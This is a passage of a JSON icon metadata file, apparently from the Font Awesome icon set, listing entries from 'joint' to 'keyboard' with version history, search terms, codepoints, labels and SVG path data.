        "smoke",
        "smoking",
        "spliff"
      ]
    },
    "styles": ["solid"],
    "unicode": "f595",
    "label": "Joint",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M448 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43c0 55.2 21.9 108.1 60.9 147.1l21 21c9 9 14.1 21.2 14.1 33.9v11c0 17.7 14.3 32 32 32s32-14.3 32-32V245c0-29.7-11.8-58.2-32.8-79.2l-21-21C463.2 117.8 448 81.2 448 43V32zM576 256c0 17.7 14.3 32 32 32s32-14.3 32-32V245c0-55.2-21.9-108.1-60.9-147.1l-21-21c-9-9-14.1-21.2-14.1-33.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43c0 29.7 11.8 58.2 32.8 79.2l21 21c27 27 42.2 63.6 42.2 101.8v11zM229.8 360c-4.7-2.3-10-2.7-15.2-2c-37.8 5.6-75.2 14.3-106.9 22.8C81.3 388 58.3 395.1 42 400.4c-8.2 2.7-14.7 4.9-19.2 6.5c-2.3 .8-4 1.4-5.2 1.8l-1.3 .5C6.8 412.5 0 421.4 0 432s6.8 19.5 16.3 22.7l1.3 .5c1.2 .4 3 1.1 5.2 1.8c4.5 1.6 11 3.8 19.2 6.5c16.3 5.4 39.2 12.5 65.7 19.6C160.3 497.3 228.8 512 288 512h67.3c4.1 0 6.3-5.1 3.6-8.3L256.5 380.8c-7.4-8.9-16.5-15.9-26.7-20.8zM445 512h19 51.3c4.1 0 6.3-5.1 3.6-8.3L416.5 380.8C401.3 362.5 378.8 352 355 352H336 288c-1.1 0-2.3 0-3.4 0c-4.1 0-6.2 5.1-3.5 8.3L383.5 483.2C398.7 501.5 421.2 512 445 512zm-3.9-151.7L543.5 483.2c14.6 17.5 35.9 27.9 58.6 28.7c21.1-1.1 37.9-18.6 37.9-39.9V392c0-22.1-17.9-40-40-40H444.7c-4.1 0-6.3 5.1-3.6 8.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M448 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43c0 55.2 21.9 108.1 60.9 147.1l21 21c9 9 14.1 21.2 14.1 33.9v11c0 17.7 14.3 32 32 32s32-14.3 32-32V245c0-29.7-11.8-58.2-32.8-79.2l-21-21C463.2 117.8 448 81.2 448 43V32zM576 256c0 17.7 14.3 32 32 32s32-14.3 32-32V245c0-55.2-21.9-108.1-60.9-147.1l-21-21c-9-9-14.1-21.2-14.1-33.9V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V43c0 29.7 11.8 58.2 32.8 79.2l21 21c27 27 42.2 63.6 42.2 101.8v11zM229.8 360c-4.7-2.3-10-2.7-15.2-2c-37.8 5.6-75.2 14.3-106.9 22.8C81.3 388 58.3 395.1 42 400.4c-8.2 2.7-14.7 4.9-19.2 6.5c-2.3 .8-4 1.4-5.2 1.8l-1.3 .5C6.8 412.5 0 421.4 0 432s6.8 19.5 16.3 22.7l1.3 .5c1.2 .4 3 1.1 5.2 1.8c4.5 1.6 11 3.8 19.2 6.5c16.3 5.4 39.2 12.5 65.7 19.6C160.3 497.3 228.8 512 288 512h67.3c4.1 0 6.3-5.1 3.6-8.3L256.5 380.8c-7.4-8.9-16.5-15.9-26.7-20.8zM445 512h19 51.3c4.1 0 6.3-5.1 3.6-8.3L416.5 380.8C401.3 362.5 378.8 352 355 352H336 288c-1.1 0-2.3 0-3.4 0c-4.1 0-6.2 5.1-3.5 8.3L383.5 483.2C398.7 501.5 421.2 512 445 512zm-3.9-151.7L543.5 483.2c14.6 17.5 35.9 27.9 58.6 28.7c21.1-1.1 37.9-18.6 37.9-39.9V392c0-22.1-17.9-40-40-40H444.7c-4.1 0-6.3 5.1-3.6 8.3z"
      }
    },
    "free": ["solid"]
  },
  "joomla": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1aa",
    "label": "Joomla Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M.6 92.1C.6 58.8 27.4 32 60.4 32c30 0 54.5 21.9 59.2 50.2 32.6-7.6 67.1.6 96.5 30l-44.3 44.3c-20.5-20.5-42.6-16.3-55.4-3.5-14.3 14.3-14.3 37.9 0 52.2l99.5 99.5-44 44.3c-87.7-87.2-49.7-49.7-99.8-99.7-26.8-26.5-35-64.8-24.8-98.9C20.4 144.6.6 120.7.6 92.1zm129.5 116.4l44.3 44.3c10-10 89.7-89.7 99.7-99.8 14.3-14.3 37.6-14.3 51.9 0 12.8 12.8 17 35-3.5 55.4l44 44.3c31.2-31.2 38.5-67.6 28.9-101.2 29.2-4.1 51.9-29.2 51.9-59.5 0-33.2-26.8-60.1-59.8-60.1-30.3 0-55.4 22.5-59.5 51.6-33.8-9.9-71.7-1.5-98.3 25.1-18.3 19.1-71.1 71.5-99.6 99.9zm266.3 152.2c8.2-32.7-.9-68.5-26.3-93.9-11.8-12.2 5 4.7-99.5-99.7l-44.3 44.3 99.7 99.7c14.3 14.3 14.3 37.6 0 51.9-12.8 12.8-35 17-55.4-3.5l-44 44.3c27.6 30.2 68 38.8 102.7 28 5.5 27.4 29.7 48.1 58.9 48.1 33 0 59.8-26.8 59.8-60.1 0-30.2-22.5-55-51.6-59.1zm-84.3-53.1l-44-44.3c-87 86.4-50.4 50.4-99.7 99.8-14.3 14.3-37.6 14.3-51.9 0-13.1-13.4-16.9-35.3 3.2-55.4l-44-44.3c-30.2 30.2-38 65.2-29.5 98.3-26.7 6-46.2 29.9-46.2 58.2C0 453.2 26.8 480 59.8 480c28.6 0 52.5-19.8 58.6-46.7 32.7 8.2 68.5-.6 94.2-26 32.1-32 12.2-12.4 99.5-99.7z"
      }
    },
    "free": ["brands"]
  },
  "js": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b8",
    "label": "JavaScript (JS)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v448h448V32H0zm243.8 349.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"
      }
    },
    "free": ["brands"]
  },
  "jsfiddle": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1cc",
    "label": "jsFiddle",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M510.634 237.462c-4.727-2.621-5.664-5.748-6.381-10.776-2.352-16.488-3.539-33.619-9.097-49.095-35.895-99.957-153.99-143.386-246.849-91.646-27.37 15.25-48.971 36.369-65.493 63.903-3.184-1.508-5.458-2.71-7.824-3.686-30.102-12.421-59.049-10.121-85.331 9.167-25.531 18.737-36.422 44.548-32.676 76.408.355 3.025-1.967 7.621-4.514 9.545-39.712 29.992-56.031 78.065-41.902 124.615 13.831 45.569 57.514 79.796 105.608 81.433 30.291 1.031 60.637.546 90.959.539 84.041-.021 168.09.531 252.12-.48 52.664-.634 96.108-36.873 108.212-87.293 11.54-48.074-11.144-97.3-56.832-122.634zm21.107 156.88c-18.23 22.432-42.343 35.253-71.28 35.65-56.874.781-113.767.23-170.652.23 0 .7-163.028.159-163.728.154-43.861-.332-76.739-19.766-95.175-59.995-18.902-41.245-4.004-90.848 34.186-116.106 9.182-6.073 12.505-11.566 10.096-23.136-5.49-26.361 4.453-47.956 26.42-62.981 22.987-15.723 47.422-16.146 72.034-3.083 10.269 5.45 14.607 11.564 22.198-2.527 14.222-26.399 34.557-46.727 60.671-61.294 97.46-54.366 228.37 7.568 230.24 132.697.122 8.15 2.412 12.428 9.848 15.894 57.56 26.829 74.456 96.122 35.142 144.497zm-87.789-80.499c-5.848 31.157-34.622 55.096-66.666 55.095-16.953-.001-32.058-6.545-44.079-17.705-27.697-25.713-71.141-74.98-95.937-93.387-20.056-14.888-41.99-12.333-60.272 3.782-49.996 44.071 15.859 121.775 67.063 77.188 4.548-3.96 7.84-9.543 12.744-12.844 8.184-5.509 20.766-.884 13.168 10.622-17.358 26.284-49.33 38.197-78.863 29.301-28.897-8.704-48.84-35.968-48.626-70.179 1.225-22.485 12.364-43.06 35.414-55.965 22.575-12.638 46.369-13.146 66.991 2.474C295.68 280.7 320.467 323.97 352.185 343.47c24.558 15.099 54.254 7.363 68.823-17.506 28.83-49.209-34.592-105.016-78.868-63.46-3.989 3.744-6.917 8.932-11.41 11.72-10.975 6.811-17.333-4.113-12.809-10.353 20.703-28.554 50.464-40.44 83.271-28.214 31.429 11.714 49.108 44.366 42.76 78.186z"
      }
    },
    "free": ["brands"]
  },
  "jug-detergent": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["detergent", "laundry", "soap", "wash"]
    },
    "styles": ["solid"],
    "unicode": "e519",
    "label": "Jug Detergent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M96 24c0-13.3 10.7-24 24-24h80c13.3 0 24 10.7 24 24V48h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H88C74.7 96 64 85.3 64 72s10.7-24 24-24h8V24zM0 256c0-70.7 57.3-128 128-128H256c70.7 0 128 57.3 128 128V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256zm256 0v96c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-17.7-14.3-32-32-32s-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M96 24c0-13.3 10.7-24 24-24h80c13.3 0 24 10.7 24 24V48h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H88C74.7 96 64 85.3 64 72s10.7-24 24-24h8V24zM0 256c0-70.7 57.3-128 128-128H256c70.7 0 128 57.3 128 128V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V256zm256 0v96c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-17.7-14.3-32-32-32s-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "k": {
    "aliases": {
      "unicodes": {
        "composite": ["6b"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter K", "Latin Small Letter K", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4b",
    "label": "K",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M311 86.3c12.3-12.7 12-32.9-.7-45.2s-32.9-12-45.2 .7l-155.2 160L64 249V64c0-17.7-14.3-32-32-32S0 46.3 0 64V328 448c0 17.7 14.3 32 32 32s32-14.3 32-32V341l64.7-66.7 133 192c10.1 14.5 30 18.1 44.5 8.1s18.1-30 8.1-44.5L174.1 227.4 311 86.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M311 86.3c12.3-12.7 12-32.9-.7-45.2s-32.9-12-45.2 .7l-155.2 160L64 249V64c0-17.7-14.3-32-32-32S0 46.3 0 64V328 448c0 17.7 14.3 32 32 32s32-14.3 32-32V341l64.7-66.7 133 192c10.1 14.5 30 18.1 44.5 8.1s18.1-30 8.1-44.5L174.1 227.4 311 86.3z"
      }
    },
    "free": ["solid"]
  },
  "kaaba": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54b"],
        "secondary": ["10f66b"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Muslim",
        "building",
        "cube",
        "islam",
        "kaaba",
        "muslim",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f66b",
    "label": "Kaaba",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M60 120l228 71.2L516 120 288 48.8 60 120zM278.5 1.5c6.2-1.9 12.9-1.9 19.1 0l256 80C566.9 85.6 576 98 576 112v16 0 21.2L292.8 237.7c-3.1 1-6.4 1-9.5 0L0 149.2V128 112C0 98 9.1 85.6 22.5 81.5l256-80zm23.9 266.8L576 182.8v46.5l-52.8 16.5c-8.4 2.6-13.1 11.6-10.5 20s11.6 13.1 20 10.5L576 262.8V400c0 14-9.1 26.4-22.5 30.5l-256 80c-6.2 1.9-12.9 1.9-19.1 0l-256-80C9.1 426.4 0 414 0 400V262.8l43.2 13.5c8.4 2.6 17.4-2.1 20-10.5s-2.1-17.4-10.5-20L0 229.2V182.8l273.7 85.5c9.3 2.9 19.3 2.9 28.6 0zm-185.5-2.6c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20l64 20c8.4 2.6 17.4-2.1 20-10.5s-2.1-17.4-10.5-20l-64-20zm352 30.5c8.4-2.6 13.1-11.6 10.5-20s-11.6-13.1-20-10.5l-64 20c-8.4 2.6-13.1 11.6-10.5 20s11.6 13.1 20 10.5l64-20zm-224 9.5c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20l38.5 12c9.3 2.9 19.3 2.9 28.6 0l38.5-12c8.4-2.6 13.1-11.6 10.5-20s-11.6-13.1-20-10.5l-38.5 12c-3.1 1-6.4 1-9.5 0l-38.5-12z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M60 120l228 71.2L516 120 288 48.8 60 120zM278.5 1.5c6.2-1.9 12.9-1.9 19.1 0l256 80C566.9 85.6 576 98 576 112v16 0 21.2L292.8 237.7c-3.1 1-6.4 1-9.5 0L0 149.2V128 112C0 98 9.1 85.6 22.5 81.5l256-80zm23.9 266.8L576 182.8v46.5l-52.8 16.5c-8.4 2.6-13.1 11.6-10.5 20s11.6 13.1 20 10.5L576 262.8V400c0 14-9.1 26.4-22.5 30.5l-256 80c-6.2 1.9-12.9 1.9-19.1 0l-256-80C9.1 426.4 0 414 0 400V262.8l43.2 13.5c8.4 2.6 17.4-2.1 20-10.5s-2.1-17.4-10.5-20L0 229.2V182.8l273.7 85.5c9.3 2.9 19.3 2.9 28.6 0zm-185.5-2.6c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20l64 20c8.4 2.6 17.4-2.1 20-10.5s-2.1-17.4-10.5-20l-64-20zm352 30.5c8.4-2.6 13.1-11.6 10.5-20s-11.6-13.1-20-10.5l-64 20c-8.4 2.6-13.1 11.6-10.5 20s11.6 13.1 20 10.5l64-20zm-224 9.5c-8.4-2.6-17.4 2.1-20 10.5s2.1 17.4 10.5 20l38.5 12c9.3 2.9 19.3 2.9 28.6 0l38.5-12c8.4-2.6 13.1-11.6 10.5-20s-11.6-13.1-20-10.5l-38.5 12c-3.1 1-6.4 1-9.5 0l-38.5-12z"
      }
    },
    "free": ["solid"]
  },
  "kaggle": {
    "changes": ["5.2.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5fa",
    "label": "Kaggle",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M304.2 501.5L158.4 320.3 298.2 185c2.6-2.7 1.7-10.5-5.3-10.5h-69.2c-3.5 0-7 1.8-10.5 5.3L80.9 313.5V7.5q0-7.5-7.5-7.5H21.5Q14 0 14 7.5v497q0 7.5 7.5 7.5h51.9q7.5 0 7.5-7.5v-109l30.8-29.3 110.5 140.6c3 3.5 6.5 5.3 10.5 5.3h66.9q5.25 0 6-3z"
      }
    },
    "free": ["brands"]
  },
  "key": {
    "aliases": {
      "unicodes": {
        "composite": ["1f511"],
        "secondary": ["10f084"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["key", "lock", "password", "private", "secret", "unlock"]
    },
    "styles": ["solid"],
    "unicode": "f084",
    "label": "Key",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M336 352c97.2 0 176-78.8 176-176S433.2 0 336 0S160 78.8 160 176c0 18.7 2.9 36.8 8.3 53.7L7 391c-4.5 4.5-7 10.6-7 17v80c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V448h40c13.3 0 24-10.7 24-24V384h40c6.4 0 12.5-2.5 17-7l33.3-33.3c16.9 5.4 35 8.3 53.7 8.3zM376 96a40 40 0 1 1 0 80 40 40 0 1 1 0-80z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M336 352c97.2 0 176-78.8 176-176S433.2 0 336 0S160 78.8 160 176c0 18.7 2.9 36.8 8.3 53.7L7 391c-4.5 4.5-7 10.6-7 17v80c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V448h40c13.3 0 24-10.7 24-24V384h40c6.4 0 12.5-2.5 17-7l33.3-33.3c16.9 5.4 35 8.3 53.7 8.3zM376 96a40 40 0 1 1 0 80 40 40 0 1 1 0-80z"
      }
    },
    "free": ["solid"]
  },
  "keybase": {
    "changes": ["5.0.11", "5.8.0", "5.10.2", "5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4f5",
    "label": "Keybase",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z"
      }
    },
    "free": ["brands"]
  },
  "keyboard": {
    "aliases": {
      "unicodes": {
        "composite": ["2328"],
        "secondary": ["10f11c"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "accessory",
        "computer",
        "edit",
        "input",
        "keyboard",
        "text",
        "type",
        "write"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f11c",
    "label": "Keyboard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
